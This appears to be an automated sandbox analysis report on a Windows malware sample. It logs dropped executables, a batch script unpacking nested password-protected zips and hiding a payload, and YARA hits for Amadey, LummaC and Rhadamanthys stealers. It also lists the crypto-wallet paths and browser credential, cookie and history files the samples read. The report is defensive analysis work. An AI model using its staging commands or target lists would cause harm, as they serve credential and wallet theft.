Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe "C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe "C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe "C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe "C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Process created: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe "C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Process created: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe "C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"

Source: 1459165c97.exe, 0000002A.00000002.3344580195.0000000001183000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Program Manager
Source: file.exe, 00000000.00000002.2173540689.00000000011E1000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2201797911.0000000000841000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2218081019.0000000000841000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: ocFUProgram Manager
Source: skotes.exe, skotes.exe, 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: cFUProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0062DD91 cpuid

6_2_0062DD91

Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: GetLocaleInfoW,	8_2_00DA30D1
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: EnumSystemLocalesW,	8_2_00DA3086
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	8_2_00DA3178
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: GetLocaleInfoW,	8_2_00DA327E
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: GetLocaleInfoW,	8_2_00D9F21C
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	8_2_00DA2A13
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	8_2_00DA2CFF
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: EnumSystemLocalesW,	8_2_00DA2C64
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: GetLocaleInfoW,	8_2_00DA2FB1
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: EnumSystemLocalesW,	8_2_00DA2F52
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: EnumSystemLocalesW,	8_2_00D9F717
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: GetLocaleInfoW,	10_2_00DA30D1
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: EnumSystemLocalesW,	10_2_00DA3086
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	10_2_00DA3178
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: GetLocaleInfoW,	10_2_00DA327E
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: GetLocaleInfoW,	10_2_00D9F21C
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	10_2_00DA2A13
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	10_2_00DA2CFF
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: EnumSystemLocalesW,	10_2_00DA2C64
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: GetLocaleInfoW,	10_2_00DA2FB1
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: EnumSystemLocalesW,	10_2_00DA2F52
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: EnumSystemLocalesW,	10_2_00D9F717

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FCCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_00FCCBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_006165E0 LookupAccountNameA,

6_2_006165E0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00652517 GetTimeZoneInformation,

6_2_00652517

Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 6.2.skotes.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000003.2820833506.0000000004C60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2131654122.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2172859499.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2217401983.0000000000611000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2160965888.0000000004710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2177174832.0000000005290000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2201284335.0000000000611000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 5639a58f3b.exe PID: 340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 850609077b.exe PID: 4196, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000002A.00000003.3314605880.0000000005700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.3336661213.00000000034C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000003.3318038166.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000003.3318224508.0000000005930000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 5639a58f3b.exe, 0000000A.00000002.3380643533.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets","m":["*"],"z":"Wallets/Ele
Source: 5639a58f3b.exe, 0000000A.00000002.3380643533.0000000000C99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: 5639a58f3b.exe, 0000000A.00000002.3380643533.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Libertyn=
Source: 5639a58f3b.exe, 0000000A.00000002.3380643533.0000000000C99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 5639a58f3b.exe, 0000000A.00000002.3380643533.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: 5639a58f3b.exe, 0000000A.00000002.3380643533.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: 5639a58f3b.exe, 0000000A.00000002.3380643533.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sion@metamask.io","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":TB'
Source: 5639a58f3b.exe, 0000000A.00000002.3380643533.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 5639a58f3b.exe, 0000000A.00000002.3380643533.0000000000CFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: 5639a58f3b.exe, 0000000A.00000002.3380643533.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
